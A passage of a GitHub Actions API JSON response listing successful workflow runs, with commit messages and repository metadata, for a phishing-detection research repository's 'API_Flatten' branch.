epos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":287450921,"node_id":"MDExOldvcmtmbG93UnVuMjg3NDUwOTIx","head_branch":"API_Flatten","head_sha":"abd4d873954e344d76546c5953b1ac507f664b7d","run_number":1068,"event":"push","status":"completed","conclusion":"success","workflow_id":369237,"check_suite_id":1285504367,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjg1NTA0MzY3","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287450921","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/287450921","pull_requests":[],"created_at":"2020-10-04T05:17:23Z","updated_at":"2020-10-04T05:34:14Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287450921/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287450921/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1285504367","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287450921/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287450921/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287450921/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"abd4d873954e344d76546c5953b1ac507f664b7d","tree_id":"d5ca971c0bd1e2cbb34ae66a5be5dc15fe7d8294","message":"Unified extract_features","timestamp":"2020-10-04T05:17:18Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":287441048,"node_id":"MDExOldvcmtmbG93UnVuMjg3NDQxMDQ4","head_branch":"API_Flatten","head_sha":"d5a815142565f2bf8ffbc4e3a2b20bde72f71cc3","run_number":1067,"event":"push","status":"completed","conclusion":"success","workflow_id":369237,"check_suite_id":1285487135,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjg1NDg3MTM1","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287441048","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/287441048","pull_requests":[],"created_at":"2020-10-04T05:07:14Z","updated_at":"2020-10-04T05:20:11Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287441048/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287441048/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1285487135","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287441048/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287441048/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287441048/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"d5a815142565f2bf8ffbc4e3a2b20bde72f71cc3","tree_id":"8ce232e367204eba17d9ec3232905292abf8d016","message":"Cleanup","timestamp":"2020-10-04T05:07:09Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":287426161,"node_id":"MDExOldvcmtmbG93UnVuMjg3NDI2MTYx","head_branch":"API_Flatten","head_sha":"fb2464ce842688286c4c9341affb8e8d98ff4415","run_number":1066,"event":"push","status":"completed","conclusion":"success","workflow_id":369237,"check_suite_id":1285457035,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjg1NDU3MDM1","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287426161","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/287426161","pull_requests":[],"created_at":"2020-10-04T04:45:45Z","updated_at":"2020-10-04T05:02:38Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287426161/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287426161/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1285457035","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287426161/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287426161/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287426161/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"fb2464ce842688286c4c9341affb8e8d98ff4415","tree_id":"eb83790a8ba66f523289fe0dd54b74f50a732a61","message":"Combine output folder","timestamp":"2020-10-04T04:45:37Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/